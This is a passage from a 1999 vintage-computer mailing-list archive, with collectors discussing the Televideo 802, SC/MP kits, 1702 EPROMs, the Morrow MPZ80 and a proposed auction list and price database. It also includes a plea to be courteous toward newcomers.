SIO/2's which I scavenged years ago, >for the packaging/shipping cost. > >Dick > >---------- >> From: Joe >> To: Discussion re-collecting of classic computers > >> Subject: Televideo 802 computer? >> Date: Tuesday, January 26, 1999 2:35 AM >> >> Does anyone have one of these? I found a manual for one of these >yesterday >> and it looks pretty cool. >> >> Joe > From Hans.Franke at mch20.sbs.de Tue Jan 26 11:22:44 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Am I a part of history ? In-Reply-To: <3.0.1.16.19990126121546.341fea7e@intellistar.net> References: <19990126153842881.AAA260@fuj034cpc2f> Message-ID: <199901261623.QAA26617@nixpbe.pdb.sni.de> I just did a quick search on several National Semiconductor about SC/MP - guess what I get: Sorry, I didn't find any documents that matched your search for "SC/MP" :((( Gruss H. P.S.: I just unpacked my SC/MP kit - Original binder, with original packed, still shrink warped, unassembled kit .... Herrgott I'M HAPPY :) -- Ich denke, also bin ich, also gut HRK From dastar at ncal.verio.com Tue Jan 26 10:28:00 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:33 2005 Subject: Televideo 802 computer? In-Reply-To: <3.0.1.16.19990126093508.46bfd362@intellistar.net> Message-ID: On Tue, 26 Jan 1999, Joe wrote: > Does anyone have one of these? I found a manual for one of these yesterday > and it looks pretty cool. Yes! I've got a couple. I believe I also have an 1803 model and one with a color CGA display. They are pretty neat and the design is interesting. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From emu at ecubics.com Tue Jan 26 10:45:51 1999 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:40:33 2005 Subject: Am I a part of history ? Message-ID: <19990126164822.AAA11706@p2350> Hallo Hans, ---------- > From: Hans Franke > To: Discussion re-collecting of classic computers > Subject: Am I a part of history ? > Date: Tuesday, January 26, 1999 9:23 AM > Sorry, I didn't find any documents that matched your search for "SC/MP" You know that the german "elektor" had a series of artikels about ? They called him "scampy" or something similar. With board, cpu card, keyboards ... > P.S.: I just unpacked my SC/MP kit - Original binder, with original > packed, still shrink warped, unassembled kit .... Herrgott I'M HAPPY :) cheers, emanuel From marvin at rain.org Tue Jan 26 10:53:52 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:33 2005 Subject: Am I a part of history ? References: <19990126153842881.AAA260@fuj034cpc2f> <199901261623.QAA26617@nixpbe.pdb.sni.de> Message-ID: <36ADF320.993927A3@rain.org> Hans Franke wrote: > > I just did a quick search on several National Semiconductor > about SC/MP - guess what I get: > > Sorry, I didn't find any documents that matched your search for "SC/MP" There is a guy in England that has or had one. I corresponded with him several years ago and sent him a copy of the manual. My search for the SC/MP at that time only turned up a couple of hits. > P.S.: I just unpacked my SC/MP kit - Original binder, with original > packed, still shrink warped, unassembled kit .... Herrgott I'M HAPPY :) Congratulations! I suspect that the unassembled kits are a bit on the rare side. Did you get the keypad entry option also? From jpl15 at netcom.com Tue Jan 26 11:04:17 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:33 2005 Subject: HP Keyboard and cable Message-ID: Will the person who enquired (a short while back) about an HP Keyboard with matching RJ-style cable... please drop me a note, privately? I have the device here ready to ship, and your e-mail with address has made that long final journey to /dev/null somehow. Sorry for the OT. John From dogas at leading.net Tue Jan 26 10:59:57 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:33 2005 Subject: Altair BASIC Message-ID: <01be494d$4d93e4c0$f0c962cf@devlaptop> -----Original Message----- From: John Foust Again, for the record, I think Marvin's posts are at least interesting and useful and certainly as interesting as any other report of a sale or give-away or auction. I appreciate his routine filtering of the search engine on eBay. -----Original Next Message----- From: John Foust >All this was gathered by a few minutes searching with www.dejanews.com >and www.hotbot.com, with the string "Monte Davidoff". I know, it's >far easier to enter a message that says "I wonder what happened to >him," and wait for the oracles to whisper the answer. :-) Hmmm.... you are indeed an enigma wrapped in a riddle backwards... Heh - Mike: dogas@leading.net From marvin at rain.org Tue Jan 26 11:24:12 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:33 2005 Subject: Classic Computer Auctions List References: Message-ID: <36ADFA3C.C01370BA@rain.org> Doug wrote: > > In private email, Marvin appeared to like the idea of an auction mailing > list, so I've created one. You can subscribe by sending a message to: > majordomo@nut.net > with the body: > subscribe ccauction > > I, for one, will not be on this new list, but I'll respond to admin > requests. Okay, it seems a bit late but *I* have a number of questions (in no particular order): 1) How many people on this list are actually interested in participating? 2) Should these auction notices go to a separate list or remain here. These notices *are* on-topic as far as this list is concerned. 3) What happens if enough people start contributing to this new list that the minor "problem" Doug thinks I have created here with sporadic postings becomes major? > On a related note, I want to make it clear that I do find the price trend > disturbing. Call me Chicken Little, but I fear The End is Near! It > appears to be increasingly difficult to find "interesting" vintage > machines from the usual inexpensive sources. I only saw a few S100 > machines at ham fests last year, and I suspect that number will decrease > by half this year. The trend you are describing *WILL* happen but I see little evidence that the end is near. It has been quite a while since I have seen a TRS-80 model I machine but I am sure they are still out there. I think though that a little more digging will be required to find them. And I STILL think a lot of stuff is going to that dumpster in the sky, and THAT is something I am concerned about. > Would there be any interest in an anonymous database that tracks prices > collectors paid over time, and the sources where they found the machines? > If so, I can setup a website in about a day. That would be a wonderful thing, and I would encourage you to do that! Couple of comments: 1) It would provide a resource for giving at least a hint of what something might be worth. 2) Credibility might suffer if just anyone was allowed to enter information, and/or unverifiable information was allowed to be entered into the database. 3) I have been looking for a free way to make some money without having to do the research and I would love to put this information on the new CD I am planning on selling (said tongue-in-cheek but you can see my point.) 4) Would this infomation be downloadable as file, or just available on the web? Again, this sounds like a great idea! From marvin at rain.org Tue Jan 26 11:24:32 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades References: <3.0.1.16.19990126100236.5f5f03e8@intellistar.net> Message-ID: <36ADFA50.BFF1CD3F@rain.org> If anyone going to the TRW swap meet has things they are looking for, or stuff to trade, let us know. The cost of shipping some of this stuff can be quite high, and just bringing stuff to TRW and exchanging there can be really cost effective! From Anthony.Eros at digital.com Tue Jan 26 11:56:41 1999 From: Anthony.Eros at digital.com (Anthony Eros) Date: Sun Feb 27 18:40:33 2005 Subject: HP Keyboard and cable Message-ID: <5518FE2C95E6D111B1A500104B72113B0AE688@alfexc8.alf.dec.com> I recently acquired a DG Aviion 410 minus keyboard and mouse. Does anyone have leads on tracking these items down? -- Tony Eros From Anthony.Eros at digital.com Tue Jan 26 11:57:52 1999 From: Anthony.Eros at digital.com (Anthony Eros) Date: Sun Feb 27 18:40:33 2005 Subject: Slightly OT - Wanted: DG Aviion 410 keyboard and mouse Message-ID: <5518FE2C95E6D111B1A500104B72113B0AE689@alfexc8.alf.dec.com> Whoops, wrong subject line last time... :-) -------------------------- I recently acquired a DG Aviion 410 minus keyboard and mouse. Does anyone have leads on tracking these items down? -- Tony Eros From elvey at hal.com Tue Jan 26 12:10:13 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:33 2005 Subject: 1702A programming (was Bugbooks - Mark 80 ) In-Reply-To: <3.0.6.16.19990125184943.25ff126e@earthlink.net> Message-ID: <199901261810.KAA06205@civic.hal.com> Dave Dameron wrote: > At 11:10 PM 1/25/99 +0000, Tony wrote: > >> > > > >> Hi I'm looking fro 1702's, not 1702A's which are quite common > >> but 1702's. You wouldn't happen to have any of these would > >> you. I'll trade you 1702A's for any you might have. > > > >What's the real difference between a 1702 and a 1702A? I must admit that > >I am not a great one for historical correctness, so I tend to use > >'updated' parts if I happen to have them to hand > > > The 1702's had 10% of the program duty cycle of the 1702A, so took 10x > longer to > program. The voltages were the same. I don't know what actually was revised on > the chip, larger output/program transistors? > -Dave Hi Dave The 1702A's also required that the address be complemented before the Vdd and Vgg were brought low. The 1702's didn't seem to need this and Vdd and Vgg were left at there low states the entire time. This also is a problem because the programmer I have doesn't switch Vdd and Vgg. Dwight From cmcmanis at freegate.com Tue Jan 26 12:19:01 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <36ADFA50.BFF1CD3F@rain.org> References: <3.0.1.16.19990126100236.5f5f03e8@intellistar.net> Message-ID: <4.1.19990126101659.00acfa40@mailhost.hq.freegate.com> I'm still looking for an OMNIBUS core stack (even parts would be OK) for a PDP-8/e/f/m. It needs to be a quad height card set vs a hex height which the PDP-8/a uses. --Chuck At 09:24 AM 1/26/99 -0800, Marvin wrote: >If anyone going to the TRW swap meet has things they are looking for, or >stuff to trade, let us know. The cost of shipping some of this stuff can be >quite high, and just bringing stuff to TRW and exchanging there can be >really cost effective! From elvey at hal.com Tue Jan 26 12:18:31 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:33 2005 Subject: Olivetti M20 information In-Reply-To: Message-ID: <199901261818.KAA06210@civic.hal.com> Sam Ismail wrote: > On Mon, 25 Jan 1999, Dwight Elvey wrote: > > > Hi > > Making a call for anyone with info on the > > Olivetti M20. It was a Z8000 machine. > > Wow, sounds cool. Is this a portable like the M10? If so, that would be > wild! A Z8000-based portable! > > Sellam Sorry Sellam, it is a deck top unit. Two floppy drives, printer port, serial, black&white monitor and a HP-IB as I recall. Dwight From Hans.Franke at mch20.sbs.de Tue Jan 26 13:26:58 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Am I a part of history ? In-Reply-To: <19990126164822.AAA11706@p2350> Message-ID: <199901261827.SAA29103@nixpbe.pdb.sni.de> Servus, > > Sorry, I didn't find any documents that matched your search for "SC/MP" > You know that the german "elektor" had a series of artikels about ? > They called him "scampy" or something similar. With board, cpu card, > keyboards ... Jep, I have the complete assembled desktop system (keyboard, CPU, video, mem (dyn and stat) and I/O within a neat case) - just look at the VCF 2.0 pictures (Jims garage - you know, the ones without text ). But if you have any additional documentation, send me an email. Thanks Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 26 13:26:58 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Am I a part of history ? In-Reply-To: <36ADF320.993927A3@rain.org> Message-ID: <199901261827.SAA29100@nixpbe.pdb.sni.de> > > I just did a quick search on several National Semiconductor > > about SC/MP - guess what I get: > > Sorry, I didn't find any documents that matched your search for "SC/MP" > There is a guy in England that has or had one. I corresponded with him > several years ago and sent him a copy of the manual. My search for the > SC/MP at that time only turned up a couple of hits. It's not that I have no information, just frustrating, that not even the manufacturer is mentioning their (back then) remarkable product on their web site, or offer any information - Did you know that the asynchronous bus of the SC/MP makes this little crappy CPU IDEAL not only for simple systems, but also for _very_ simple multiprocessor systems - I guess between two and three CPUs could work perfectly without loosing a lot of sync time - maybe even 4 or 5, depending on the instruction mix... (Jep, I know, 6502 systems culd also give easy dual processor systems with inverted Phi). > > P.S.: I just unpacked my SC/MP kit - Original binder, with original > > packed, still shrink warped, unassembled kit .... Herrgott I'M HAPPY :) > Congratulations! I suspect that the unassembled kits are a bit on the rare > side. Did you get the keypad entry option also? Talking about the pocket calculator like thing ? - Jep, I did - also original packed etc. - No I have an assembled unit _and_ an unassembled kit (and 2 SBCs) and some spare boards. - gee - Maybe SC/MP is now a mayor player in my collection - I have at least 12 systems :) BTW: I also have a punch tape for a SC/MP macro assembler, that is made for an 8080 system (SL 0052 M8080 Macro Assembler PKG SC/MP 8080 Cross Asm. 11/30/78) - has anybody information about this particular Software ? system needed to run etc. ? I have no other information. Within some of the manuals an IMP-16 system is mentioned, that should provide a cross assembler, but I have no idea about that. Gruss H. P.S.: Today must be my lucky day - a friend called, if I would take some old scrap from him, and it turned out to be a whole bunch of 70s chips - including at least one complete 8008 chip set .... jabadabadu ! -- Ich denke, also bin ich, also gut HRK From lemay at cs.umn.edu Tue Jan 26 12:39:03 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <4.1.19990126101659.00acfa40@mailhost.hq.freegate.com> from Chuck McManis at "Jan 26, 1999 10:19:01 am" Message-ID: <199901261839.MAA03491@thorin.cs.umn.edu> Well, if that PDP8a memory set is core memory, i'd probably be willing to trade. I dont have a PDP8/e, just want one someday (first computer I ever used, for my first 3 years...). I know I have at least one set of cards, carefully stored in bubblewrap... -Lawrence (collector of memory) LeMay PS: somebody tell em that 30 pin simms are going to become valueable someday ;) > I'm still looking for an OMNIBUS core stack (even parts would be OK) for a > PDP-8/e/f/m. It needs to be a quad height card set vs a hex height which > the PDP-8/a uses. > > --Chuck > > At 09:24 AM 1/26/99 -0800, Marvin wrote: > >If anyone going to the TRW swap meet has things they are looking for, or > >stuff to trade, let us know. The cost of shipping some of this stuff can be > >quite high, and just bringing stuff to TRW and exchanging there can be > >really cost effective! > > From Hans.Franke at mch20.sbs.de Tue Jan 26 13:38:45 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Classic Computer Auctions List In-Reply-To: <36ADFA3C.C01370BA@rain.org> Message-ID: <199901261839.SAA29321@nixpbe.pdb.sni.de> > > I, for one, will not be on this new list, but I'll respond to admin > > requests. > Okay, it seems a bit late but *I* have a number of questions (in no > particular order): > 1) How many people on this list are actually interested in participating? Already on. > 2) Should these auction notices go to a separate list or remain here. These > notices *are* on-topic as far as this list is concerned. In fact, I always loved (most of) your postings, but I can also live with the list (already some rules added to keep track and fill a seperate folder). Ok, maybe it is cheap and weak to bow before screaming voices, but I'm also a bit tired about it. > 3) What happens if enough people start contributing to this new list that > the minor "problem" Doug thinks I have created here with sporadic postings > becomes major? His fault, he offered the list, and he will get burried by the result .) I would also love to see this list added to the classiccmp 'FAQ'. > > On a related note, I want to make it clear that I do find the price trend > > disturbing. Call me Chicken Little, but I fear The End is Near! It > > appears to be increasingly difficult to find "interesting" vintage > > machines from the usual inexpensive sources. I only saw a few S100 > > machines at ham fests last year, and I suspect that number will decrease > > by half this year. > The trend you are describing *WILL* happen but I see little evidence that > the end is near. It has been quite a while since I have seen a TRS-80 model > I machine but I am sure they are still out there. I think though that a > little more digging will be required to find them. And I STILL think a lot > of stuff is going to that dumpster in the sky, and THAT is something I am > concerned about. They are dying - I noticed the same over here - real old or uncommon machines are already nonexistent on swap meets. It comes more to an point like in the car collections - no more garage/barn finds anymore. > > Would there be any interest in an anonymous database that tracks prices > > collectors paid over time, and the sources where they found the machines? > > If so, I can setup a website in about a day. > That would be a wonderful thing, and I would encourage you to do that! > Couple of comments: > 1) It would provide a resource for giving at least a hint of what something > might be worth. but needs a reasonable controll, so a trustworthy maintainer is needed to check new entries for beeing reasonable (not on a 100% base, but at least if it looks unusual). > 2) Credibility might suffer if just anyone was allowed to enter information, > and/or unverifiable information was allowed to be entered into the database. Jep. Maybe every entry should be guarded by a source field, to enter the source of the information (price) like ePay, haggle, swap, personal, regular auchtion, etc. So possibly several price levels can be calculatet, to reflect the different trade areas. > 3) I have been looking for a free way to make some money without having to > do the research and I would love to put this information on the new CD I am > planning on selling (said tongue-in-cheek but you can see my point.) If this database is made as an effort of all of us, I would sugest to put the date on a kind of GPL licence type - all or none. > 4) Would this infomation be downloadable as file, or just available on the > web? I would suggest both. Gruss H. -- Ich denke, also bin ich, also gut HRK From jimw at agora.rdrop.com Tue Jan 26 12:48:30 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:33 2005 Subject: (fwd) PDP 11/70 Any value (fwd) In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Brett Crapser wrote: > > Ok you Brits - here's your chance to get a DEC PDP-11 8-) > > ---------- Forwarded message ---------- > From: David Low > > I am finally having a clear out of my garage, amongst the stuff I have > there is > ------------ End Forward -------------- > > I also fail to see where this post is any different than talking about > Ebay 'notices'....... Well... (IMHO) the major difference here is that this person appears to be looking for a new home for this gear, rather than looking for a source of deep pockets... -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From george at racsys.rt.rain.com Tue Jan 26 13:12:52 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:33 2005 Subject: Televideo 802 computer? In-Reply-To: <19990126153842881.AAA260@fuj034cpc2f> Message-ID: I actually have one of these with no docs... Who was it that was offering a manual? George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Tue, 26 Jan 1999, Richard Erlacher wrote: > It seems to me that the 802 was a televideo terminal with an integrated > workstation. These worked in conjunction with a server unit to run an OS > called MOST, I believe, and I have a couple of the server units, the number > of which will occur to me when I look at one again. > > These were fairly late technology, using 64k DRAMS and a 4MHz Z80A. The > servers had four or five serial ports using Z80 SIO's and either 10 or 20 > MB winchesters to go with their 5-1/4" floppies. They used the > WD1000-series HDC, which used an 8X300 microcontroller (I2L technology, > Harvard architecture) and the WD1000 5-chip set. I always admired the > packaging technology, which was first rate. > > I have to believe the workstations were up to the same standard in > convenient packaging. Televideo was late getting into the desktop > workstation market, but did it in a big way with these numbers, as they had > all you could want. The OS was purported, by some users I knew, to be > quite a bit superior to MPM, which was quite established at that time (late > '70's, early '80's). > > If anyone is interested in the server units, I can make them available, > less drives, and possibly a couple of SIO/2's which I scavenged years ago, > for the packaging/shipping cost. > > Dick > > ---------- > > From: Joe > > To: Discussion re-collecting of classic computers > > > Subject: Televideo 802 computer? > > Date: Tuesday, January 26, 1999 2:35 AM > > > > Does anyone have one of these? I found a manual for one of these > yesterday > > and it looks pretty cool. > > > > Joe > From martin at mlewis.freeserve.co.uk Tue Jan 26 21:03:33 1999 From: martin at mlewis.freeserve.co.uk (Martin Lewis) Date: Sun Feb 27 18:40:33 2005 Subject: No subject Message-ID: <000901be49a1$a2180cc0$3f6a883e@oemcomputer> I have an Oliveti ETV 260 It is an 8086 dual 5.25" with built in printer. I was about to throw it away, - Should I proceed ????? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/d5b094fa/attachment.html From go at ao.com Tue Jan 26 13:23:26 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:33 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <4.1.19990122230032.034eb100@office.ao.com> References: <007f01be469c$24f808b0$11d53d9d@JOEBAR> Message-ID: <4.1.19990126110955.00acec10@office.ao.com> Well, I found my documentation for the hardware. It was called an MPZ80 cpu from Morrow Designs. Basic information: S-100 (IEEE 696) bus 4Mhz Z80 optional 9512 Floating Point (remember these?) 24 bit address space onboard mem of 2kbytes of ROM and 1kbyte of ram "Sophisticated hardware memory management cirtuitry..." "Sohpisticated hardware trap mechanism..." User applications were divided into 16 4K pages, with up to 16 task memory maps resident on board simultaneously (up to 1mbyte addressed at a time by memory mapping hardware.) Board could put out an additional 4 bits of address as a "bank number" associated with a task. Pages could be marked as "no access", "execute only", "read only" or "full access." Manual was written in 1982, so this was fairly sophisticated for it's time. In the binder, I also have documents for: Wunderbuss Input/Output Controller Technical Manual MM65K Memory Board User's Manual Expandoram III Unit Publication (from SDSystems, not Morrow) Disk Jockey 2D User's Manual Winchester Disk Systems User's Manual I actually have the hardware for the Winchester Disk System - it was the controller I used to run my Big, Enormous, 27 Megabyte disk on my CP/M system (SA4000 - 2 14inch platters! Big sucker.) Gary At 11:04 PM 1/22/99 -0800, you wrote: >Damn. I'm home and can't look it up... But I believe I recall something >called (IIRC) "Micronix" (or something similar) that ran on a Godbout >or Morrow system. I have some hardware documentation for the system >that ran it - got it in anticipation of getting one of the S-100 CPU >boards. > >The system had a memory paging system on top of a Z-80 and included >some fairly sophisticated protection (both memory and I/O) that would >have permitted a Unix-like system to operate securely. > >I'll dig it up next week. > >Gary From elvey at hal.com Tue Jan 26 13:26:27 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:33 2005 Subject: Oliveti ETV 260 In-Reply-To: <000901be49a1$a2180cc0$3f6a883e@oemcomputer> Message-ID: <199901261926.LAA06230@civic.hal.com> "Martin Lewis" wrote: > I have an Oliveti ETV 260 > It is an 8086 dual 5.25" with built in printer. > I was about to throw it away, - Should I proceed ????? > Hi Your in the wrong group if you throw anything away. Dwight From eric at brouhaha.com Tue Jan 26 13:59:28 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:33 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 In-Reply-To: <4.1.19990126110955.00acec10@office.ao.com> (message from Gary Oliver on Tue, 26 Jan 1999 11:23:26 -0800) References: <007f01be469c$24f808b0$11d53d9d@JOEBAR> <4.1.19990126110955.00acec10@office.ao.com> Message-ID: <19990126195928.17379.qmail@brouhaha.com> > optional 9512 Floating Point (remember these?) Speaking of which, if anyone has any 9511 or 9512 chips, or the equivalent Intel 8231 or 8232, I'd like to get at least one of each. I'm willing to trade the RARE National Semiconductor MM57109, which was a math processor intended for use as either a peripheral or a standalone controller. From dastar at ncal.verio.com Tue Jan 26 14:45:04 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:33 2005 Subject: Classic Computer Auctions List In-Reply-To: <36ADFA3C.C01370BA@rain.org> Message-ID: On Tue, 26 Jan 1999, Marvin wrote: > Okay, it seems a bit late but *I* have a number of questions (in no > particular order): > > 3) What happens if enough people start contributing to this new list that > the minor "problem" Doug thinks I have created here with sporadic postings > becomes major? Make it a WORM list: Write-Once, Read-Many. Only Marvin can post his finds to the new list to avoid a splintering of ClassicCmp. That is the only purpose of the new list anyway (to be a forum for Marvin's ebay announcements) so it shouldn't present a problem. > The trend you are describing *WILL* happen but I see little evidence that > the end is near. It has been quite a while since I have seen a TRS-80 model It HAS happened! Everyone who comes to me with juicy offers of equipment these days now goes off to ebay, finds out its worth a mint, and I never hear from them again. Before they were just all too happy to get rid of the crap. Look, don't take this as a bitch. People are entitled to do whatever they want with their property. More power to them. But it really sucks. It was so much more relaxed when people were in this for the hobby, rather than for the money, which is what we have now. > 1) It would provide a resource for giving at least a hint of what something > might be worth. And these values would have to be corroborated and scrutinized to death to make sure they are realistic and take into account many factors, including the true rarity of an item (and I don't mean local scarcity, I'm talking number of units produced) as well as its condition, and therefore collectability!! > 2) Credibility might suffer if just anyone was allowed to enter information, > and/or unverifiable information was allowed to be entered into the database. I agree. These prices would need to be established by an experienced body of collectors. In fact, I would go so far as to say an organization would need to be formed, of which membership was based on a demonstrable knowledge of computer history as well as other factors, and THIS body would be responsible for establishing prices. Otherwise, you're only going to have 5-10 different price guides come out, all contradicting each other in the most tortuously assanine ways (ie. one will list a Commodore 64 at a realistic $5 while another might say $100). > 4) Would this infomation be downloadable as file, or just available on the > web? Such an endeavor as I have described would indicate much effort on the part of many people, and therefore would dictate that such information would have a price attached. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From aknight at mindspring.com Tue Jan 26 14:23:00 1999 From: aknight at mindspring.com (Alex Knight) Date: Sun Feb 27 18:40:33 2005 Subject: Classic Computer Auctions List In-Reply-To: References: Message-ID: <3.0.6.32.19990126152300.0079bbc0@mindspring.com> At 06:14 AM 1/26/99 -0500, Doug wrote: >On a related note, I want to make it clear that I do find the price trend >disturbing. Call me Chicken Little, but I fear The End is Near! It >appears to be increasingly difficult to find "interesting" vintage >machines from the usual inexpensive sources. I only saw a few S100 >machines at ham fests last year, and I suspect that number will decrease >by half this year. > >Would there be any interest in an anonymous database that tracks prices >collectors paid over time, and the sources where they found the machines? >If so, I can setup a website in about a day. I can only relate what I've seen in the world o' calculators over the last year & a half, but I believe that such a database would accelerate the price escalation. Unfortunately much damage has already been done in the calculator world, it would be a shame to see the same thing happen to classic computers. Why do I say this? A couple of reasons. First, a well-known calculator web site has a list of values observed for "internet sales" of various calculator models. Many of the numbers are from eBay sales. Over the past year, I've seen a _lot_ of these calculators for sale, and invariably there are eBay listings that point to the web site and says "the museum of XYZ calculators says this machine is worth $100". So it gets bid up to $110, and the next time a model comes up somebody else says "well it was worth $110 so I'll bid $120" and so on and so on. So it appears to me that having the data available in such a public forum causes inflation. Secondly, since the site is easy to find with simple Web searches, non-collectors who have stuff they are going to throw out can do a simple search and come across this "price guide". Then they want $1000 for the HP9100 that they pulled out of a scrap heap, because the museum says it's worth that much (and the only reason the museum says that is because somebody with deep pockets wanted one real bad at one time). Call me a cheapskate (because I am) but I think it's a different matter spending big $$$ to pull a machine you want out of somebody else's collection, vs. spending that for a machine that was headed to the junkheap anyway. I would like to think that someday I'll find somebody here in central NC who's throwing out their Altair and I can get it for $100. Won't happen if the eBay price history is easily obtained on the Web. When I started my calculator web site I thought about posting prices for non-HP machines (as I have kept a pretty complete history of eBay selling prices over the last year), but after going through the thought process decided against it. For me the key aspect of "collecting" is saving as many old machines as I can from the scrapyard, not worrying about how much any particular thing is worth. FWIW, Alex Calculator History & Technology Archive Web Page http://aknight.home.mindspring.com/calc.htm From jimw at agora.rdrop.com Tue Jan 26 15:18:11 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:33 2005 Subject: An observation: [was Re: Oliveti ETV 260] In-Reply-To: <199901261926.LAA06230@civic.hal.com> Message-ID: A message in the list proceeded as follows: > "Martin Lewis" wrote: > > I have an Oliveti ETV 260 > > It is an 8086 dual 5.25" with built in printer. > > I was about to throw it away, - Should I proceed ????? > > Hi > Your in the wrong group if you throw anything away. I feel obligated to drop in a comment here, for reasons that will be clear in a moment. The initial part of this message appeared in the list at my suggestion. This person sent me an email regarding disposition of the system he has and inquiring if I would be interested in it, but I had to decline in part because of where the unit is (in the UK). I suggested to him (as I have to many others) that he might drop a line to the mailing list in an attempt to locate someone closer who would be interested in obtaining the unit. That said, (and while NOT trying to get this perceived as a 'flame') the response shown above to the message might not be received in the same manner by someone outside of the 'group' as it would be someone who has been here for a while and has been exposed to the communal 'sense of humour'. In the same light, I noted that his posting had some embedded HTML which is a frequent source of flamage around the group. Again, let me point out that this person is likely unfamiliar with the environment here and as such would be unfamililar with the communal 'preferences' as regularly expressed. Regardless of the practices of the 'regulars' around here, directly or indirectly we are (somewhat) minor participants in the global electronic 'community', and need to keep in mind that there are no universally accepted 'rules of conduct', either with regard to posting style or content. Not everyone who may venture in here may have the same affection for the 'old ways' as we do, or understand why 'rich text' email tweaks some people off so dramatically. Heck, if they only have email access from an office system, they may not have a choice in how it is configured! With prices on the sort of gear that we are seeking seemingly caught in an alarming upward spiral, is is probably in our best interests to not inadvertantly drive anyone away through a flippant comment or flame mail on a perceived breach of list 'etiquette' that they may not be aware of. Lets at least try to be a bit more patient with a name that you are not familiar with... The 'regulars' on the other hand are by now either fairly 'flame' proof, or sufficiently blistered so as not to notice... B^} And by the way... a direct response (or at least a 'cc') is also probably a good idea when responding to an unfamililar name offering goodies... Not everyone who drops a message in our direction will be a 'subscriber'. ...ever seeking the next 'Holy Grail' of computing... -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From ckaiser at oa.ptloma.edu Tue Jan 26 15:24:52 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:33 2005 Subject: disks! disks! disks! Message-ID: <199901262124.NAA10240@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 488 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/a5245081/attachment.ksh From rigdonj at intellistar.net Tue Jan 26 17:18:54 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:33 2005 Subject: Televideo 802 computer? In-Reply-To: References: <19990126153842881.AAA260@fuj034cpc2f> Message-ID: <3.0.1.16.19990126171854.48575212@intellistar.net> George, Are you talking about the 802 (which someone said is a terminal) or are you talking about the computer? (model number ???) If you mean the computer then I listed it but I wasn't offering. It's still at the store. I was hoping they might turn up the computer. If you need a copy, I'll see about getting it and making you a copy. If I don't find the computer sooner or later then you may end up with the original. If you mean the terminal manual then it's also still at the store but I don't want it so if you do then let me know and I'll see about getting it for you. Joe At 11:12 AM 1/26/99 -0800, you wrote: >I actually have one of these with no docs... Who was it that was offering >a manual? > >George > >========================================================= >George L. Rachor george@racsys.rt.rain.com >Beaverton, Oregon http://racsys.rt.rain.com >United States of America Amateur Radio : KD7DCX > >On Tue, 26 Jan 1999, Richard Erlacher wrote: > >> It seems to me that the 802 was a televideo terminal with an integrated >> workstation. These worked in conjunction with a server unit to run an OS >> called MOST, I believe, and I have a couple of the server units, the number >> of which will occur to me when I look at one again. >> >> These were fairly late technology, using 64k DRAMS and a 4MHz Z80A. The >> servers had four or five serial ports using Z80 SIO's and either 10 or 20 >> MB winchesters to go with their 5-1/4" floppies. They used the >> WD1000-series HDC, which used an 8X300 microcontroller (I2L technology, >> Harvard architecture) and the WD1000 5-chip set. I always admired the >> packaging technology, which was first rate. >> >> I have to believe the workstations were up to the same standard in >> convenient packaging. Televideo was late getting into the desktop >> workstation market, but did it in a big way with these numbers, as they had >> all you could want. The OS was purported, by some users I knew, to be >> quite a bit superior to MPM, which was quite established at that time (late >> '70's, early '80's). >> >> If anyone is interested in the server units, I can make them available, >> less drives, and possibly a couple of SIO/2's which I scavenged years ago, >> for the packaging/shipping cost. >> >> Dick >> >> ---------- >> > From: Joe >> > To: Discussion re-collecting of 